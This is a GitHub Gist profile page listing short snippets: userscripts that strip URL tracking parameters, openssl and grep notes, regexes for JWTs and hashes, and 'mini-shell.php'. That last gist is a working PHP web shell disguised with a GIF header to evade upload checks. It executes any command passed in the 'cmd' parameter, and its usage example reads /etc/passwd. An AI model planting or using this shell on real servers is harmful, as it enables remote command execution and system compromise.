Skip to content

Instantly share code, notes, and snippets.

View sathishshan's full-sized avatar

Sathish Kumar sathishshan

View GitHub Profile
// ==UserScript==
// @name Remove-UTM-from-URL
// @namespace parameter_blocker
// @description Removes UTM from url (by reloading)
// @version 1.0
// @include https://www.naukri.com/job-listings*
// @run-at document-start
// ==/UserScript==
var loc = window.top.location.toString();
@sathishshan
sathishshan / mini-shell.php
Created January 1, 2021 13:44
Mini shell in php with image magic trick
GIF8;
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
@sathishshan
sathishshan / debug_ssl_connection.md
Created January 1, 2021 08:33
open_ssl commands

openssl s_client -state -connect postman-echo.com:443 | openssl x509 -text

openssl x509 -inform DER -in cacert.der -out cacert.pem

openssl x509 -inform der -in cacert.der -out cacert.crt

grep -Porn <pattern>
P: Use Perl engine, grep can't run modern regexes otherwise
o: Only show the matching part, not the whole line
r: Search recursively
n: Print line number of matches
Bonus: use -Porh to exclude filenames from output i.e. only show matches. Great for piping.
@sathishshan
sathishshan / jwt_token_match.md
Last active December 31, 2020 08:57
Regex to match JWTs

Regex to match JWTs

[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*

Regex to match MD2, MD4, MD5, SHA224, SHA256, SHA384, SHA512 hashes in case someone needs it.

([a-fA-F0-9]{32}(?:[a-fA-F0-9]{8})?(?:[a-fA-F0-9]{16})?(?:[a-fA-F0-9]{8})?(?:[a-fA-F0-9]{32})?(?:[a-fA-F0-9]{32})?)

// ==UserScript==
// @name Remove_Params
// @namespace parameter_blocker
// @description Remove any parameter from the url
// @version 1.0
// @include *
// @run-at document-start
// ==/UserScript==
var loc = window.top.location.toString();
// ==UserScript==
// @name Remove-UTM-from-URL
// @namespace parameter_blocker
// @description Removes UTM from url (by reloading)
// @version 1.0
// @include https://www.naukri.com/job-listings*
// @run-at document-start
// ==/UserScript==
var loc = window.top.location.toString();